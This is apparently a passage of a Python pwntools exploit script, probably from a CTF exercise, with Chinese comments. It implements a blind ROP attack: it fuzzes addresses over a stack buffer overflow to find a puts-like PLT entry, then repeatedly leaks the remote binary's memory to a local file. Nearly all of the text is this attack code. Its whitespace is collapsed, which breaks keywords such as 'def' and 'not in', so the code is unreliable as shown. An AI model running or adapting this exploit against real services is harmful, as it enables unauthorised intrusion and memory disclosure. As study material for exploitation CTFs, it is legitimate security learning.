deffuzz_print_plt(): for j in range(1, 0x10000): # last time fuzz at: 0x08049871 fuzz = 0x80484f6 + j p = remote('ip', port) p.recvuntil('something"') p.recvuntil('\nsomething\n') payload = 'a' * offset + p32(fuzz) + p32(stop_gadget) + p32(main_addr) p.sendline(payload) try: data = p.recv(0x1000, timeout=3) if'something' != data and'something"'notin data: # 判断 该地址+6 的地方是否可以输出 p = remote('ip', port) p.recvuntil('something"') p.recvuntil('\nsomething\n') payload = 'a' * offset + p32(fuzz + 6) + p32(stop_gadget) + p32(main_addr) p.sendline(payload) try: data = p.recv(0x1000, timeout=3) if'something' != data and'something"'notin data: print("%s ==========DUMP START======== %s" % (fg(200), attr('dim'))) hexdump.hexdump(data) print("%s ==========DUMP END======== %s" % (fg(200), attr('dim')))
p.info("Had Found it...") pr.print_good("Found offset: " + str(j) + ", main addr: " + hex(fuzz)) except EOFError as e: print e pass except EOFError as e: print e pass p.close()
defdump_all(): index = 0 flag = 0 while(flag < 0x1770): dumping = base_addr + index # gets 是按 0x0a 结束的,所以到这里的时候我们直接把那个值置为 \x00 if (dumping & 0xff) == 0x0a: index += 1 with open('test', 'ab') as f: f.write('\x00') continue p = remote('ip', 10000) p.recvuntil('something"') p.recvuntil('\nsomething\n') payload = 'a' * offset + p32(puts_plt) + p32(main_addr) + p32(dumping) p.sendline(payload) try: data = p.recv(0x10000) inx = data.find('Well done!') if inx != 0: with open('test', 'ab') as f: f.write(data[:inx]) index += inx else: with open('test', 'ab') as f: f.write('\x00') index += 1 flag += 1 except Exception as e: print e with open('test', 'ab') as f: f.write('\x00') index += 1 flag += 1 p.close()